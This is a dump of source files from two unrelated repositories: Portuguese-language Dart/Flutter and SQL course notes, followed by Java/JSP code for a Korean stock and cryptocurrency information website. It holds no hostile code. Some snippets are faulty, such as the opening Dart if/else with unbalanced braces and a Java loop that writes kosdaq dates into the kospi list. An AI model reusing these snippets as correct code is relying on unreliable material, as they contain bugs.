else if(cidade_natal.toLowerCase() == "rio de janeiro")
{
print("carioca");
}
else if(cidade_natal.toLowerCase() == "espírito santo do pinhal")
{
print("pinhalense");
}
}
else if(cidade_natal.toLowerCase() == "aguaí")
{
print("aguaiano");
}
else if(cidade_natal.toLowerCase() == "águas da prata")
{
print("pratense");
else
{
print("Cidade não cadastrada.");
}
```
"somente será VERDADE se todas as expressões forem VERDADE ".
OU (OR)||
"somente será FALSO se todas as expressões forem FALSAS"
### aula 4 - operador lógicos
###operador lógicos e (AND) &&
*"somente sera verdade se todas as expreções forem verdade".*
##
OU (OR)||
*"somente sera falso se todos as expreções fprem FALSAS".*
void main() {
bool var_a, var_b;
var_a = true;
var_b = false;
print((!var_a && var_a) || (var_b || !var_b));
int numero = 10;
if(var_a == var_b)
{
numero = 666;
}
else
{
numero = numero + 1;
}
print(numero);
}
### AULA 5 - FUNÇÕES
//trabalhos com FUNÇÕES
void main() {
print("minha calculadora =) \n-----------------");
double n1 , n2;
n1 = 10;
n2 = 5;
//Essa é a chamada da função
calcular(n1, n2, "+");
calcular(n1, n2, "-");
calcular(n1, n2, "*");
calcular(n1, n2, "/");
}
/*
*como criar função
*
*primeiro, colacamos o retorno da função (tipo)
*depois colocamos o NOME da função
*depois dos nomes colocamos os PARENTESES. dentro dos parenteses,
"podemos" colocar PARÂMETROS. (pode ter ou não)
*por ultimo, colocamos abertura e fechamento de CHAVES.
dentro das chaves, vai o códigos de função.
*
*IMPORTANTE: só criar a função não serve NADA.
*A gente tem que CHAMAR essa função no main.
*/
void calcular(double novonumero1, double novonumero2, String operacao){
print("\nquanto é $novonumero1 $operacao $novonumero2?");
double resposta = novonumero1 / novonumero2 ;
if (operacao == "+"){
resposta = novonumero1 + novonumero2;
}
else if (operacao == "-"){
resposta = novonumero1 - novonumero2;
}
else if (operacao == "/"){
resposta = novonumero1 / novonumero2;
}
else if (operacao == "*"){
resposta = novonumero1 * novonumero2;
}
else{
resposta = 0;
}
print(" o resultado é: $resposta");
}
```
## Aula flutter
** primeiro contato: **
entrar em flutter.dev (ou flutter.io) e procurar o local para começar a utilizar o flutter (get started)
seguir os passos de intalação, que continuem basicamente de:
-baixar o SKD do flutter e colocá-lo na pasta "c:\src\flutter"
-baixar e instalar o andride studio
-configurar o plugin do flutter no android studio
-rodar o comum "flutter doctor"no prompt de comando para certificar que esta tudo ok
```
**CRIAÇÃO DO PRIMEIRO APP**
<file_sep>/Aulas Felipe/README.md
## criação do primeiro App em Flutter :snowflake:
para criar um aplicativo, além da função main(),precisamos de uma classe que herde de StatefulWidget ou de StatelessWidget
- StatelessWidget
- É uma páginaque não pode ser atualizada. ou seja, não tem "estado".
- StatefulWidget
-É uma página que pode sofrer atualizações.Utilizamos para jogar valores em tela e lidarcom ações do usuário
**Exemplo de Stateless Widiget**
```dart
class ClasseSemEstado extends StatelessWidget {
@override
Widget build(BuildContext context) {
return Container();
}
}
```
**Exemplos de Stateless Widget** :zap:
```dart
class ClasseComEstado extends StatefulWidget {
@override
_ClasseComEstadoState createState() => _ClasseComEstadoState();
}
class _ClasseComEstadoState extends State<ClasseComEstado> {
@override
Widget build(BuildContext context) {
return Container();
}
}
```
### Widget utilizado
para o aplicativo da calculadora simples, utilizamos os seguintes Widget
- Container
- serve como uma "caixa" para outro Windet. Ele pode ter um parâmetron child. Ele pode ter também margens interna (padding)
- TextFild
- Campo de texto permite que os usúarios degitem texto em um aplicativo
- SizeBox
- Serve como espaçamento entre um Widget eoutro. Pode ser espaçamento vertical e horizontal.
- DropDownButton
- É um botão que, quando precionado, lista as opções criadas e permite que seja selecionado
- RaisedButton
- Serve como botão
- Column
- É um Widget da layout para colocar outros Widget um embaixo de outro. Aceita um parâmetro children (são vários Widget)
- Center
- Serve para centralizar o Widget que for passado com filho (child).
### Eventos (funções) utilizadas
-onChaged:
- Foi utilizado na DropdownButton para atualizar a operação escolhida.
-onPresse:
- foi utilizado no raised Button para realizar o cálcule.
- setstate:
- utilizado **sempre ** que a tela precisou ser *atualizada*
<file_sep>/aula4/modelo.dart
import 'package:flutter/material.dart';
// Método Principal
void main() =>
runApp(MyApp());
//classes MyApp
class MyApp extends StatefulWidget {
@override
State<StatefulWidget> createState() {
return MyAppState();
}
}
//classes MyappState que herda (extends) a classe State
class MyAppState extends State<MyApp> {
//Interface #######################################
@override
Widget build(BuildContext contexte) {
return MaterialApp(
title: "Exemplo de Classes e objetos",
theme: ThemeData(primarySwatch: Colors.green),
home: Scaffold(
appBar: AppBar(
title: Center(
child: Text("Classes e objetos"),
),
),
),
);
}
}
<file_sep>/Aulas Felipe/banco de dados/scripts e bds/primeiro CRUD.sql
--do CRUD, o INSERT é o "C" (Create)
INSERT INTO aluno
(rg, escolaridade, email, nome, endereço)
VALUES
('22.555.666-0', 'cursando insino medio', '<EMAIL>', 'beltrano', '<NAME>');
INSERT INTO aluno
(rg, escolaridade, email, nome, endereço)
VALUES
('35.458.958.8',
'ensino fundamental',
'<EMAIL>',
'<NAME> ',
'rua sao joao, 205');
-- do CRUD, o SELECT é o "R" (Read)
SELECT* FROM aluno;
-- do CRUD, o UPDATE é o "U" (Update)
UPDATE aluno
SET escolaridade = 'Ensino medio completo'
--WHERE ra = 1; -- atualizar apenas uma linha
WHERE ra in (1,3,5);-- atualizar mais de uma linha
DELETE FROM aluno
WHERE nome = 'beltrano';
<file_sep>/aula4/README.md
# modelos basicos app flutter
<img src="https://github.com/joaovsantos995/senac/blob/master/aula4/Screenshot_1560966867.png" width= "200">
## veja o Exemplo
[modelo Básico Flutter](modelo.dart)
|
46da4e0da3e20042eeba1101666dcca2cd61441b
|
[
"Markdown",
"Dart",
"SQL"
] | 8 |
Markdown
|
joaovsantos995/senac
|
f12ddeedbb4ec5ae8049117696cfd34dd253d121
|
833e9897bae44562b794ecd3496ba7607418c720
|
refs/heads/master
|
<repo_name>xo461/toojaatte<file_sep>/.svn/pristine/01/013c91b5599f5898918d531cc12ef2889bd10a4b.svn-base
package com.toojaatte.vm.api;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import org.json.simple.parser.JSONParser;
public class VmApi {
public static Map<String, Map> VmAPI() {
Map<String, Map> coinMap = new HashMap<>();
String opening_p;
String closing_p;
String max_p;
String min_p;
BufferedReader br = null;
String result = "";
try {
String urlstr = "https://api.bithumb.com/public/ticker/ALL_KRW";
URL url = new URL(urlstr);
HttpURLConnection urlconnection = (HttpURLConnection)url.openConnection();
urlconnection.setRequestMethod("GET");
br = new BufferedReader(new InputStreamReader(urlconnection.getInputStream(),"UTF-8"));
String line;
while((line = br.readLine())!=null) {
result = result + line;
}
JSONParser jsonParser = new JSONParser();
//JSON데이터를 넣어 JSON Object 로 만들어 준다.
JSONObject jsonObject = (JSONObject) jsonParser.parse(result);
JSONObject data = (JSONObject) jsonObject.get("data");
Iterator<String> a = data.keySet().iterator();
String[] content = {"opening_price","closing_price",
"max_price","min_price"};
while (a.hasNext()) {
Map<String, String> itemMap = new HashMap<>();
String coinName = a.next();
JSONObject coins = (JSONObject) data.get(coinName);
opening_p = (String) coins.get("opening_price");
closing_p = (String) coins.get("closing_price");
max_p = (String) coins.get("max_price");
min_p = (String) coins.get("min_price");
itemMap.put("opening_p", opening_p);
itemMap.put("closing_p", closing_p);
itemMap.put("max_p", max_p);
itemMap.put("min_p", min_p);
coinMap.put(coinName, itemMap);
}
}catch(Exception e) {
System.out.println(e.getMessage());
}
return coinMap;
}
}
<file_sep>/.svn/pristine/5c/5c2a49e449f1d06baff6b99761d93190770ddecf.svn-base
package com.toojaatte.stock.api;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringReader;
import java.net.URL;
import java.text.DecimalFormat;
import java.util.HashMap;
import java.util.Map;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
public class GetStockData {
public static Map<String, Object> getKrxData(String code){
Map<String, Object> krxData = new HashMap<>();
String getUrl = "http://asp1.krx.co.kr/servlet/krx.asp.XMLSise?code=" + code;
String getTime="";
String janggubun = "";
String DungRakrate_str = "";
int timeconclude_length = 0;
int dailystock_length = 0;
int Askprice_length= 0;
int CurJuka = 0;
int Debi = 0;
float StandardPrice = 0;
float DungRakrate = 0;
String line="";
// String up = "▲";
// String down = "▼";
// String bohab = "─";
String stockInfoData[]= new String [17];
String timeConclude[][] = new String [10][7];
String dailyStock[][] = new String [10][9];
String askPrice[][] = new String [5][4];
String hoga[]= new String [22];
try {
InputStream is = null;
InputStreamReader isr = null;
is = new URL(getUrl).openStream();
isr = new InputStreamReader(is, "UTF-8");
BufferedReader rd = new BufferedReader(isr, 400);
StringBuffer strbuf = new StringBuffer();
while ((line = rd.readLine()) != null){
strbuf.append(line);
}
DocumentBuilderFactory docFact = DocumentBuilderFactory.newInstance();
docFact.setNamespaceAware(true);
DocumentBuilder docBuild = docFact.newDocumentBuilder();
Document doc = docBuild.parse(new InputSource(new StringReader(strbuf.toString())));
NodeList stockInfoList = doc.getElementsByTagName("stockInfo");
NamedNodeMap stockInfo = stockInfoList.item(0).getAttributes();
getTime = stockInfo.getNamedItem("myNowTime").getNodeValue();
janggubun = stockInfo.getNamedItem("myJangGubun").getNodeValue();
krxData.put("getTime", getTime);
krxData.put("janggubun", janggubun);
krxData.put("code", code);
NodeList TBL_StockInfo = doc.getElementsByTagName("TBL_StockInfo");
NamedNodeMap stockInfoTBL = TBL_StockInfo.item(0).getAttributes();
stockInfoData[0] = stockInfoTBL.getNamedItem("JongName").getNodeValue(); //종목명
stockInfoData[1] = stockInfoTBL.getNamedItem("CurJuka").getNodeValue(); //현재가
stockInfoData[2] = stockInfoTBL.getNamedItem("DungRak").getNodeValue(); //전일대비코드
stockInfoData[3] = stockInfoTBL.getNamedItem("Debi").getNodeValue(); //전일대비
stockInfoData[4] = stockInfoTBL.getNamedItem("PrevJuka").getNodeValue(); //전일종가
stockInfoData[5] = stockInfoTBL.getNamedItem("Volume").getNodeValue(); //거래량
stockInfoData[6] = stockInfoTBL.getNamedItem("Money").getNodeValue(); //거래대금
stockInfoData[7] = stockInfoTBL.getNamedItem("StartJuka").getNodeValue(); //시가
stockInfoData[8] = stockInfoTBL.getNamedItem("HighJuka").getNodeValue(); //고가
stockInfoData[9] = stockInfoTBL.getNamedItem("LowJuka").getNodeValue(); //저가
stockInfoData[10] = stockInfoTBL.getNamedItem("High52").getNodeValue(); //52주 최고
stockInfoData[11] = stockInfoTBL.getNamedItem("Low52").getNodeValue(); //52주 최저
stockInfoData[12] = stockInfoTBL.getNamedItem("UpJuka").getNodeValue(); //상한가
stockInfoData[13] = stockInfoTBL.getNamedItem("DownJuka").getNodeValue(); //하한가
stockInfoData[14] = stockInfoTBL.getNamedItem("Per").getNodeValue(); //PER
stockInfoData[15] = stockInfoTBL.getNamedItem("Amount").getNodeValue(); //상장주식수
stockInfoData[16] = stockInfoTBL.getNamedItem("FaceJuka").getNodeValue(); //액면가
// 등락율 계산
CurJuka = Integer.parseInt(stockInfoData[1].replaceAll(",", ""));
Debi = Integer.parseInt(stockInfoData[3].replaceAll(",", ""));
/*등락구분코드*/
// 1 - 상한, 2 - 상승, 3 - 보합, 4 - 하한, 5 - 하락
if(stockInfoData[2].equals("1")||stockInfoData[2].equals("2")||stockInfoData[2].equals("3")){
StandardPrice = CurJuka - Debi;
} else if(stockInfoData[2].equals("4")||stockInfoData[2].equals("5")){
StandardPrice = CurJuka + Debi;
}
// 등락률 = (당일종가 - 기준가) / 기준가 * 100
// 기준가 = 당일종가(현재가) - 전일대비
DungRakrate = ((CurJuka - StandardPrice) / StandardPrice) * 100;
DungRakrate_str = String.format("%.2f", DungRakrate);
krxData.put("stockInfoData", stockInfoData);
krxData.put("DungRakrate_str", DungRakrate_str);
/*일자별시세*/
NodeList TBL_Dailystock = doc.getElementsByTagName("DailyStock");
dailystock_length = TBL_Dailystock.getLength();
for(int j=0;j<dailystock_length;j++){
NamedNodeMap dailyStockTBL = TBL_Dailystock.item(j).getAttributes();
dailyStock[j][0] = dailyStockTBL.getNamedItem("day_Date").getNodeValue(); //일자
dailyStock[j][1] = dailyStockTBL.getNamedItem("day_EndPrice").getNodeValue(); //종가
dailyStock[j][2] = dailyStockTBL.getNamedItem("day_getDebi").getNodeValue(); //전일대비
dailyStock[j][3] = dailyStockTBL.getNamedItem("day_Start").getNodeValue(); //시가
dailyStock[j][4] = dailyStockTBL.getNamedItem("day_High").getNodeValue(); //고가
dailyStock[j][5] = dailyStockTBL.getNamedItem("day_Low").getNodeValue(); //저가
dailyStock[j][6] = dailyStockTBL.getNamedItem("day_Volume").getNodeValue(); //거래량
dailyStock[j][7] = dailyStockTBL.getNamedItem("day_getAmount").getNodeValue(); //거래대금
dailyStock[j][8] = dailyStockTBL.getNamedItem("day_Dungrak").getNodeValue(); //전일대비코드
}
krxData.put("dailyStock_length", dailystock_length);
krxData.put("dailyStock", dailyStock);
/*시간대별 체결가*/
NodeList TBL_TimeConclude = doc.getElementsByTagName("TBL_TimeConclude");
timeconclude_length = TBL_TimeConclude.getLength()-1;
for(int i=0;i<timeconclude_length;i++){
NamedNodeMap timeConcludeTBL = TBL_TimeConclude.item(i+1).getAttributes();
timeConclude[i][0] = timeConcludeTBL.getNamedItem("time").getNodeValue(); //시간
timeConclude[i][1] = timeConcludeTBL.getNamedItem("negoprice").getNodeValue(); //체결가
timeConclude[i][2] = timeConcludeTBL.getNamedItem("Debi").getNodeValue(); //전일대비
timeConclude[i][3] = timeConcludeTBL.getNamedItem("sellprice").getNodeValue(); //매도호가
timeConclude[i][4] = timeConcludeTBL.getNamedItem("buyprice").getNodeValue(); //매수호가
timeConclude[i][5] = timeConcludeTBL.getNamedItem("amount").getNodeValue(); //체결량
timeConclude[i][6] = timeConcludeTBL.getNamedItem("Dungrak").getNodeValue(); //전일대비코드
}
krxData.put("timeConclude_length", timeconclude_length);
krxData.put("timeConclude", timeConclude);
/*증권사별거래*/
NodeList TBL_AskPrice = doc.getElementsByTagName("AskPrice");
Askprice_length = TBL_AskPrice.getLength();
for(int i=0;i<Askprice_length;i++){
NamedNodeMap askPriceTBL = TBL_AskPrice.item(i).getAttributes();
askPrice[i][0] = askPriceTBL.getNamedItem("member_memdoMem").getNodeValue(); //매도증권사
askPrice[i][1] = askPriceTBL.getNamedItem("member_memdoVol").getNodeValue(); //매도거래량
askPrice[i][2] = askPriceTBL.getNamedItem("member_memsoMem").getNodeValue(); //매수증권사
askPrice[i][3] = askPriceTBL.getNamedItem("member_mesuoVol").getNodeValue(); //매수거래량
}
krxData.put("askPrice_length", Askprice_length);
krxData.put("askPrice", askPrice);
/*호가*/
NodeList TBL_Hoga = doc.getElementsByTagName("TBL_Hoga");
NamedNodeMap hogaTBL = TBL_Hoga.item(0).getAttributes();
hoga[0] = hogaTBL.getNamedItem("mesuJan0").getNodeValue(); //매수잔량
hoga[1] = hogaTBL.getNamedItem("mesuHoka0").getNodeValue(); //매수호가
hoga[2] = hogaTBL.getNamedItem("mesuJan1").getNodeValue(); //매수잔량
hoga[3] = hogaTBL.getNamedItem("mesuHoka1").getNodeValue(); //매수호가
hoga[4] = hogaTBL.getNamedItem("mesuJan2").getNodeValue(); //매수잔량
hoga[5] = hogaTBL.getNamedItem("mesuHoka2").getNodeValue(); //매수호가
hoga[6] = hogaTBL.getNamedItem("mesuJan3").getNodeValue(); //매수잔량
hoga[7] = hogaTBL.getNamedItem("mesuHoka3").getNodeValue(); //매수호가
hoga[8] = hogaTBL.getNamedItem("mesuJan4").getNodeValue(); //매수잔량
hoga[9] = hogaTBL.getNamedItem("mesuHoka4").getNodeValue(); //매수호가
hoga[10] = hogaTBL.getNamedItem("medoHoka0").getNodeValue(); //매도잔량
hoga[11] = hogaTBL.getNamedItem("medoJan0").getNodeValue(); //매도호가
hoga[12] = hogaTBL.getNamedItem("medoHoka1").getNodeValue(); //매도잔량
hoga[13] = hogaTBL.getNamedItem("medoJan1").getNodeValue(); //매도호가
hoga[14] = hogaTBL.getNamedItem("medoHoka2").getNodeValue(); //매도잔량
hoga[15] = hogaTBL.getNamedItem("medoJan2").getNodeValue(); //매도호가
hoga[16] = hogaTBL.getNamedItem("medoHoka3").getNodeValue(); //매도잔량
hoga[17] = hogaTBL.getNamedItem("medoJan3").getNodeValue(); //매도호가
hoga[18] = hogaTBL.getNamedItem("medoHoka4").getNodeValue(); //매도잔량
hoga[19] = hogaTBL.getNamedItem("medoJan4").getNodeValue(); //매도호가
DecimalFormat formatter = new DecimalFormat("###,###,###");
hoga[20] = formatter.format(
Integer.parseInt(hoga[0].replace(",", ""))+
Integer.parseInt(hoga[2].replace(",", ""))+
Integer.parseInt(hoga[4].replace(",", ""))+
Integer.parseInt(hoga[6].replace(",", ""))+
Integer.parseInt(hoga[8].replace(",", "")));
hoga[21] = formatter.format(
Integer.parseInt(hoga[11].replace(",", ""))+
Integer.parseInt(hoga[13].replace(",", ""))+
Integer.parseInt(hoga[15].replace(",", ""))+
Integer.parseInt(hoga[17].replace(",", ""))+
Integer.parseInt(hoga[19].replace(",", "")));
krxData.put("hoga", hoga);
} catch (Exception e) {
e.printStackTrace();
}
return krxData;
}
}
<file_sep>/.svn/pristine/cf/cfabf1782775e90496b6fdd78a8df559a1dbdac1.svn-base
package com.toojaatte.stock.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import com.toojaatte.stock.service.StockService;
import static com.toojaatte.stock.api.GetStockData.getKrxData;
import static com.toojaatte.stock.api.GetFinancialData.getFinancialData;
@Controller
@RequestMapping("/stock")
public class StockController {
@Autowired
@Qualifier("ss")
private StockService service;
// @RequestParam String code,
@GetMapping("/market/data.do")
public String view(Model model, @RequestParam String code) {
// Map<String, Object> map = getKrxData(code);
// String[] stockInfoData = (String[]) map.get("stockInfoData");
// System.out.println(stockInfoData[0]);
model.addAttribute("krxData", getKrxData(code));
model.addAttribute("financialData", getFinancialData(code));
return "stock/view";
}
@GetMapping("/index.do")
public String index() {
return "stock/index";
}
@GetMapping("/market/search.do")
public String search(Model model, @RequestParam String searchData) {
model.addAttribute("result", service.search(searchData));
return "stock/search";
}
}
<file_sep>/.svn/pristine/2c/2c3874638bc5c564199e470c633c95780233caa6.svn-base
package com.toojaatte.util.interceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import com.toojaatte.member.dto.LoginDTO;
//★로그인후 원래 있던 페이지로 이동하게끔.
//servlet-xml에 등록, membercontroller수정해야 함.
public class AuthInterceptor extends HandlerInterceptorAdapter {
private final String[] needLoginList = {
"/ncomment/insert.do",
"/ncomment/update.do",
"/ncomment/delete/{rno}.do"
};
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
// TODO Auto-generated method stub
HttpSession session = request.getSession();
LoginDTO login = (LoginDTO) session.getAttribute("login");
String uri = request.getServletPath();
String query = request.getQueryString();
if(login == null) {
// 로그인이 필요한 uri인지 검사하는 메서드 처리
if(checkLoginList(uri)) {
// 로그인 처리가 끝나면 session에 uri를 꺼내서 요청한 페이지로 이동 시킨다.
session.setAttribute("uri", uri+"?"+query);
response.sendRedirect("/member/login.do");
// 요구한 uri를 처리하지 않는다.
return false;
}
}
return super.preHandle(request, response, handler);
}
private boolean checkLoginList(String uri) {
for(String s : needLoginList) {
if(s.equals(uri)) return true;
}
return false;
}
}
<file_sep>/.svn/pristine/36/36b2762cee1f814c5d01bc738cc4c2ea691aa5a8.svn-base
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>주식 메인</title>
<style type="text/css">
.dataRow:hover {
background: #eee;
cursor: pointer;
}
</style>
</head>
<body>
<p>주식 결과 목록</p>
<table class="table">
<tr>
<th>종목코드</th>
<th>종목명</th>
<th>상장시장</th>
<th>업종</th>
<th>영위사업</th>
<th>상장일</th>
</tr>
<!-- 데이터의 갯수 만큼 tr을 만든다. : 반복문 -> jsp jstl 사용 태그로 작성 -->
<c:forEach items="${result }" var="result">
<tr class="dataRow">
<td class="code">${result.code}</td>
<td>${result.name }</td>
<td>${result.market }</td>
<td>${result.sector }</td>
<td>${result.industry }</td>
<!-- 날짜형을 특별한 형식에 맞춰서 출력 : JSTL - fmt : JAVA-SimpleDateFormat -->
<td>
<fmt:formatDate value="${result.listingDate }"
pattern="yyyy.MM.dd" />
</td>
</tr>
</c:forEach>
</table>
<script type="text/javascript">
$(function(){
$(".dataRow").click(function(){
// 글번호 찾기 - 클릭한 것(this=tr) 안에 글번호 클래스 객체(td) 안에 글자(text)
var code = $(this).find(".code").text();
// 글보기로 이동 - 글번호를 붙여서
location = "data.do?code=" + code;
});
});
</script>
</body>
</html><file_sep>/README.md
# 'toojaatte' Investment Website :chart_with_upwards_trend:
> Using Spring Framework
>
> Supplying Stock & cryptocurrency market index information
## Development Period :calendar:
Mar.23.2020 ~ Apr.03.2020
## Development environment
### IDE
```
Spring Tool Suite4 4.5.1
```
### Other
|Sort|Resource|Remark|
|:---:|:---:|:---:|
|Back-End|Java|JDK 1.8|
|Back-End|Python|3.8, tensorflow 1.5|
|Back-End|JSP|3.1|
|Front-End|HTML|HTML5|
|Front-End|CSS|CSS3|
|Front-End|Bootstrap|Bootstrap3|
|Front-End|Sitemesh|BootstrapMade|
|Front-End|JavaScript|JQuery, Ajax|
|WAS|Apache Tomcat|9.0
|DB|Oracle|12c|
|Version Control|Apache Subversion||
<file_sep>/src/main/java/com/toojaatte/stock/dto/StockDTO.java
package com.toojaatte.stock.dto;
import lombok.Data;
@Data
public class StockDTO {
private java.util.Date Date;
private float Close, Open, High, Low, Volume, Change;
}
<file_sep>/src/main/java/com/toojaatte/reply/service/ReplyServiceImpl.java
package com.toojaatte.reply.service;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Service;
import com.toojaatte.reply.dto.ReplyDTO;
import com.toojaatte.reply.mapper.ReplyMapper;
import com.toojaatte.util.page.PageObject;
import lombok.AllArgsConstructor;
//ReplyController - ReplyServerImpl - ReplyMapper
// 자동생성 - @Controller, @Service, @Repository, @Component,
// @RestController, @ControllerAdvice, @RestControllerAdvice
@Service
//동일타입의 빈(1.동일한 클래스를 이용하여 설정파일에 여러개의 빈을 설정한 경우,
//2.동일 클래스나 인터페이스를 상속한 경우에 그 부모형으로 빈을 검색하는 경우)
//이 다수개인경우에는 @Qualifier 속성을 이용해서 빈을 검색해야 한다.(https://micropilot.tistory.com/2620)
@Qualifier("rs")
// 생성자를 이용해서 private 멤버 변수에 DI 적용 -> mapper가 적용
@AllArgsConstructor //lombok 라이브러리 기능
// interface를 상속받은 클래스라는 뜻의 Impl
public class ReplyServiceImpl implements ReplyService{
// DB 처리를 위한 mapper 변수 선언
private ReplyMapper mapper;
@Override
public List<ReplyDTO> list(PageObject pageObject, int no) {
// TODO Auto-generated method stub
// 페이지 정보 계산 메서드 호출
pageObject.calcuPageInfo();
//jsp의 페이지네이션을 위한 계산 -> jsp에 전달이 되어야 한다. request에 담는다(Model).
//검색할 때에 검색 전 페이지 계산이 된 값이 전달되어 리스트와 다르게 나타나므로
//getTotalRow에 pageObject를 전달하여 검색될 항목에 대해서만 페이지 계산하게 한다.
pageObject.setTotalRow(mapper.getTotalRow());
Map<String, Object> map = new HashMap<String, Object>();
map.put("pageObject", pageObject);
map.put("no", no);
return mapper.list(map);
}
@Override
public Integer write(ReplyDTO dto) {
// TODO Auto-generated method stub
return mapper.write(dto);
}
@Override
public Integer update(ReplyDTO dto) {
// TODO Auto-generated method stub
return mapper.update(dto);
}
@Override
public Integer delete(ReplyDTO dto) {
// TODO Auto-generated method stub
return mapper.delete(dto);
}
}
<file_sep>/.svn/pristine/66/662e76a2840910b6dc353134d1da624352a0bc65.svn-base
package com.toojaatte.main;
import static com.toojaatte.vm.api.VmApi.VmAPI;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import com.toojaatte.anaboard.service.AnaBoardService;
import com.toojaatte.anaboard.service.AnaBoardServiceImpl;
import com.toojaatte.news.dto.NewsDTO;
import com.toojaatte.news.service.JsonRead;
import com.toojaatte.news.service.NewsService;
import com.toojaatte.stock.dto.MarketIndexDTO;
import com.toojaatte.stock.service.StockService;
import com.toojaatte.util.page.PageObject;
import com.toojaatte.vm.dto.VmDTO;
import com.toojaatte.vm.service.VmService;
import com.toojaatte.vm.service.VmServiceImpl;
import lombok.AllArgsConstructor;
/**
* Handles requests for the application home page.
*/
@Controller
@AllArgsConstructor
public class HomeController {
private VmServiceImpl service;
public static String[] coinName = {"BTC", "IPX"};
private NewsService newsService;
private AnaBoardServiceImpl anaBoardService;
private static final Logger logger = LoggerFactory.getLogger(HomeController.class);
/**
* Simply selects the home view to render by returning its name.
*/
@RequestMapping(value = "/", method = RequestMethod.GET)
public String main() {
return "redirect:/main/index.do";
}
/**
* Simply selects the home view to render by returning its name.
* @throws IOException
*/
@RequestMapping(value = "/main/index.do", method = RequestMethod.GET)
public String home(Locale locale, Model model) throws IOException {
//logger.info("Welcome home! The client locale is {}.", locale);
// mostViewed List
List<NewsDTO> mostViewed = newsService.mostViewed();
model.addAttribute("mostViewed", mostViewed);
List<MarketIndexDTO> kospi = JsonRead.kospiJsonRead();
//리스트의 데이터 갯수만큼 for문돌려서 날짜형식을 String타입의 형식으로 보기좋게 변환.
for (int i=0; i<kospi.size(); i++) {
Date date = kospi.get(i).getDate();
String stringdate = new SimpleDateFormat("yyyy-MM-dd").format(date);
kospi.get(i).setStringDate(stringdate);
}
model.addAttribute("kospi", kospi);
List<MarketIndexDTO> kosdaq = JsonRead.kosdaqJsonRead();
//리스트의 데이터 갯수만큼 for문돌려서 날짜형식을 String타입의 형식으로 보기좋게 변환.
for (int i=0; i<kosdaq.size(); i++) {
Date date = kosdaq.get(i).getDate();
String stringdate = new SimpleDateFormat("yyyy-MM-dd").format(date);
kospi.get(i).setStringDate(stringdate);
//System.out.println(usdkrw.get(i).getStringDate());
}
model.addAttribute("kosdaq", kosdaq);
List<MarketIndexDTO> usdkrw = JsonRead.usdkrwJsonRead();
//리스트의 데이터 갯수만큼 for문돌려서 날짜형식을 String타입의 형식으로 보기좋게 변환.
for (int i=0; i<usdkrw.size(); i++) {
Date date = usdkrw.get(i).getDate();
String stringdate = new SimpleDateFormat("yyyy-MM-dd").format(date);
usdkrw.get(i).setStringDate(stringdate);
}
model.addAttribute("usdkrw", usdkrw);
List<MarketIndexDTO> jpykrw = JsonRead.jpykrwJsonRead();
for (int i=0; i<jpykrw.size(); i++) {
Date date = jpykrw.get(i).getDate();
String stringdate = new SimpleDateFormat("yyyy-MM-dd").format(date);
jpykrw.get(i).setStringDate(stringdate);
}
model.addAttribute("jpykrw", jpykrw);
PageObject pageObject = new PageObject();
String gradeType = pageObject.getGradeType();
String orderType = pageObject.getOrderType();
String headerType = pageObject.getHeaderType();
model.addAttribute("anaBoardList", anaBoardService.mainList());
model.addAttribute("pageObject", pageObject);
model.addAttribute("cm",coinName);
List<VmDTO> list = service.list();
Map<String, String> jsMap = new HashMap<String, String>();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
for(VmDTO dto : list) {
String key = dto.getCName();
String str = "";
if(jsMap.get(key) == null) {
str = "['날짜', '시가', '종가'],";
}else {
str = jsMap.get(key);
}
str += "['" + sdf.format(dto.getCTime())+"',"+dto.getOpening_p()+","+dto.getClosing_p()+"],";
jsMap.put(key, str);
}
// 마지막 콤마 제거
Iterator<String> keys = jsMap.keySet().iterator();
List<String> keylist = new ArrayList<String>();
while(keys.hasNext()) {
String key = keys.next();
String str = jsMap.get(key);
str = str.substring(0, str.length()-1);
jsMap.put(key, "["+ str + "]");
keylist.add(key);
}
// System.out.println("%%%%%%%"+keylist);
model.addAttribute("jsMap",jsMap);
model.addAttribute("keylist",keylist);
return "main/index";
}
}
<file_sep>/.svn/pristine/f7/f7bbf129862533ab12c77f830ad2da42a2562c4c.svn-base
/**
*
*/
const CODE = document.querySelector('.stock-code').innerText.substring(1, 7);
const days_btn = document.querySelector('#days');
const month_btn = document.querySelector('#month');
const three_btn = document.querySelector('#three');
const six_btn = document.querySelector('#six');
const year_btn = document.querySelector('#year');
String.prototype.replaceAll = function(org, dest) {
return this.split(org).join(dest);
}
document.addEventListener("DOMContentLoaded", function() {
const daily_stock_date = document.getElementsByClassName('daily_stock_date');
